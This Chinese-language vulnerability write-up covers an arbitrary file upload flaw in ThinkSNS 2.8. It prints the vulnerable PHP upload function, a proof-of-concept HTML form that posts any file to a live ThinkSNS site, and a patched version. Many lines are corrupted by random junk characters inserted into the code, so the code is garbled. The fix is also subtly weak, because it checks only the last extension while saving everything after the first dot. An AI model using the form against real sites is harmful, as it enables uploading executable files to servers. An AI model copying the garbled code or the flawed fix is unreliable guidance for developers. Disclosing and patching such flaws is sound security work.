ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。


\api\StatusesApi.class.php

function uploadpic(){
' t7 C0 c/ c( v. @4 V      if( $_FILES['pic'] ){
, J7 ~5 D1 O) M/ T/ z     //执行上传操作
) ]9 {  K! U" L, p9 A; L     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
7 B* Z5 q: E  \2 B6 j: _    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
. y) e3 D  _! f! ]' J: \* M6 L       {
& z, ]( R2 z3 x/ M- a        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
8 J6 s, y. F8 U: \. g        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
     }else{
- i* p& i8 K5 M) x  p         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
    }
" J. o3 j) L. h7 y% m  `unloadpic()方法没有对文件类型进行验证

0 t; I0 f: q8 J' X* ?7 W可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost

- l* o# r) l3 ]' p2 {; N+ r在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
/ \! j, h# I- _% k( v% x
7 F! l1 j" M  m9 T2 h  ^- Q- u
在登录thinksns官方微博后,
( I7 {7 j; o, N' _8 n0 T构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
0 {! F: L% z4 p/ ]  t2 ~. ]7 _</form>
去掉缩略图的前缀(small_ )
$ H4 h6 U$ V6 N9 j​修复方案：


  t2 H0 T4 ]" H  u0 }\api\StatusesApi.class.php
0 b; c8 n# d# e
/ H3 q9 i2 B# K3 {, lfunction uploadpic(){
     /**
5 m. ?" Y0 K8 y" ~# d      * 20121018 @yelo
6 i. A& Z: D' ^. `" F) \      * 增加上传类型验证
      */
0 m1 V& \  m* K. \3 h     $pathinfo = pathinfo($_FILES['pic']['name']);
( e% x, e+ r% X% o, l+ h     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');

  M( a/ L+ k) G     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
4 G: e2 [5 ~6 A: `. |1 k
$ j: [; K* U% F/ }- t; ~- Q2 P/ a; I     if( $uploadCondition ){
     //执行上传操作
3 p1 A- U% g) B( F* @2 `. ~) `/ [6 r     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
* @2 c0 Y) w- k* s% w        $result['type_data'] = 'temp/'.$filename;
6 \! e9 r1 I2 y1 y        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
6 m3 J" t; l( R& |- ~2 N        $result['boolen']    = 0;
7 G, i# y# N8 P        $result['message']   = '上传失败';
       }
     }else{
3 J1 a; f( c5 U* {& c         $result['boolen']    = 0;
         $result['message']   = '上传失败';
% @! c: P5 K8 @     }
% O; Z3 n) Q3 t% Y/ vreturn $result;
    }
5 G9 ~) o, c/ L2 q' i; I​

: \3 Y' M2 D; E1 C) y- f" I4 F) ^